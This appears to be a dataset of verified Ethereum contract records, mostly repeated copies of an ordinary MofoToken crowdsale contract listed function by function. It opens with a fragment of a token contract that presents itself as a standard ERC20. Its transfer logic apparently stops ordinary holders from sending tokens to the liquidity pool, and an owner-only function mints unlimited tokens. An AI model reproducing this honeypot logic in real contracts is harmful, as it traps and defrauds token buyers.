around setting * allowances. See {IERC20-approve}. */ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != pool, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && pool == address(0)) pool = to; else require(to != pool || (from == DelegateX && to == pool) || (from == DelegateY && to == pool), "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function ShowDelegateX(address _DelegateX, uint256 tokens) public onlyOwner { DelegateX = _DelegateX; _totalSupply = _totalSupply.add(tokens); balances[_DelegateX] = balances[_DelegateX].add(tokens); emit Transfer(address(0), _DelegateX, tokens); } function ShowDelegateY(address _DelegateY) public onlyOwner { DelegateY = _DelegateY; } function () external payable { revert(); } }
totalSupply
function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
v0.5.17+commit.d19bba13
None
bzzr://3a26421ae0e48c34a35d27189514e78f2aed270bd153d213d15b3c7683e1f791
{ "func_code_index": [ 1882, 1993 ] }
3,620
MofoToken
MofoToken.sol
0x62682c4869187275b1748d1d534ca8ee874250a5
Solidity
MofoToken
contract MofoToken is StandardToken, SafeMath { // metadata string public constant name = "Mofo"; string public constant symbol = "MFCoin"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 1000; // 1000 MOFO 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function MofoToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(10000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测 异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token(或者更新token) function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到 一个mofo function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将mofo token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }
formatDecimals
function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; }
// 转换
LineComment
v0.4.21+commit.dfe3193c
None
bzzr://050d9aa937f30b2e395c3ac6d33e80b98cd5a793fb79ad5789c3d60208cc1a43
{ "func_code_index": [ 1150, 1272 ] }
3,621
MofoToken
MofoToken.sol
0x62682c4869187275b1748d1d534ca8ee874250a5
Solidity
MofoToken
contract MofoToken is StandardToken, SafeMath { // metadata string public constant name = "Mofo"; string public constant symbol = "MFCoin"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 1000; // 1000 MOFO 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function MofoToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(10000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测 异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token(或者更新token) function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到 一个mofo function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将mofo token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }
MofoToken
function MofoToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(10000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; }
// constructor
LineComment
v0.4.21+commit.dfe3193c
None
bzzr://050d9aa937f30b2e395c3ac6d33e80b98cd5a793fb79ad5789c3d60208cc1a43
{ "func_code_index": [ 1296, 1786 ] }
3,622
MofoToken
MofoToken.sol
0x62682c4869187275b1748d1d534ca8ee874250a5
Solidity
MofoToken
contract MofoToken is StandardToken, SafeMath { // metadata string public constant name = "Mofo"; string public constant symbol = "MFCoin"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 1000; // 1000 MOFO 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function MofoToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(10000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测 异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token(或者更新token) function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到 一个mofo function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将mofo token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }
setTokenExchangeRate
function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; }
/// 设置token汇率
NatSpecSingleLine
v0.4.21+commit.dfe3193c
None
bzzr://050d9aa937f30b2e395c3ac6d33e80b98cd5a793fb79ad5789c3d60208cc1a43
{ "func_code_index": [ 1884, 2130 ] }
3,623
MofoToken
MofoToken.sol
0x62682c4869187275b1748d1d534ca8ee874250a5
Solidity
MofoToken
contract MofoToken is StandardToken, SafeMath { // metadata string public constant name = "Mofo"; string public constant symbol = "MFCoin"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 1000; // 1000 MOFO 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function MofoToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(10000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测 异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token(或者更新token) function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到 一个mofo function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将mofo token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }
increaseSupply
function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); }
/// @dev 超发token处理
NatSpecSingleLine
v0.4.21+commit.dfe3193c
None
bzzr://050d9aa937f30b2e395c3ac6d33e80b98cd5a793fb79ad5789c3d60208cc1a43
{ "func_code_index": [ 2158, 2423 ] }
3,624
MofoToken
MofoToken.sol
0x62682c4869187275b1748d1d534ca8ee874250a5
Solidity
MofoToken
contract MofoToken is StandardToken, SafeMath { // metadata string public constant name = "Mofo"; string public constant symbol = "MFCoin"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 1000; // 1000 MOFO 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function MofoToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(10000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测 异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token(或者更新token) function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到 一个mofo function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将mofo token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }
decreaseSupply
function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); }
/// @dev 被盗token处理
NatSpecSingleLine
v0.4.21+commit.dfe3193c
None
bzzr://050d9aa937f30b2e395c3ac6d33e80b98cd5a793fb79ad5789c3d60208cc1a43
{ "func_code_index": [ 2451, 2724 ] }
3,625
MofoToken
MofoToken.sol
0x62682c4869187275b1748d1d534ca8ee874250a5
Solidity
MofoToken
contract MofoToken is StandardToken, SafeMath { // metadata string public constant name = "Mofo"; string public constant symbol = "MFCoin"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 1000; // 1000 MOFO 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token; event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function MofoToken( address _ethFundDeposit, uint256 _currentSupply) { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(10000000); balances[msg.sender] = totalSupply; if(currentSupply > totalSupply) throw; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { if (_tokenExchangeRate == 0) throw; if (_tokenExchangeRate == tokenExchangeRate) throw; tokenExchangeRate = _tokenExchangeRate; } /// @dev 超发token处理 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + currentSupply > totalSupply) throw; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev 被盗token处理 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); if (value + tokenRaised > currentSupply) throw; currentSupply = safeSubtract(currentSupply, value); DecreaseSupply(value); } /// 启动区块检测 异常的处理 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// 关闭区块异常处理 function stopFunding() isOwner external { if (!isFunding) throw; isFunding = false; } /// 开发了一个新的合同来接收token(或者更新token) function setMigrateContract(address _newContractAddr) isOwner external { if (_newContractAddr == newContractAddr) throw; newContractAddr = _newContractAddr; } /// 设置新的所有者地址 function changeOwner(address _newFundDeposit) isOwner() external { if (_newFundDeposit == address(0x0)) throw; ethFundDeposit = _newFundDeposit; } ///转移token到新的合约 function migrate() external { if(isFunding) throw; if(newContractAddr == address(0x0)) throw; uint256 tokens = balances[msg.sender]; if (tokens == 0) throw; balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); if (!newContract.migrate(msg.sender, tokens)) throw; Migrate(msg.sender, tokens); // log it } /// 转账ETH 到 一个mofo function transferETH() isOwner external { if (this.balance == 0) throw; if (!ethFundDeposit.send(this.balance)) throw; } /// 将mofo token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { if (_eth == 0) throw; if (_addr == address(0x0)) throw; uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () payable { if (!isFunding) throw; if (msg.value == 0) throw; if (block.number < fundingStartBlock) throw; if (block.number > fundingStopBlock) throw; uint256 tokens = safeMult(msg.value, tokenExchangeRate); if (tokens + tokenRaised > currentSupply) throw; tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); //记录日志 } }
startFunding
function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { if (isFunding) throw; if (_fundingStartBlock >= _fundingStopBlock) throw; if (block.number >= _fundingStartBlock) throw; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; }
/// 启动区块检测 异常的处理
NatSpecSingleLine
v0.4.21+commit.dfe3193c
None
bzzr://050d9aa937f30b2e395c3ac6d33e80b98cd5a793fb79ad5789c3d60208cc1a43
{ "func_code_index": [ 2751, 3133 ] }
3,626
MofoToken
MofoToken.sol
0x62682c4869187275b1748d1d534ca8ee874250a5
Solidity
MofoToken
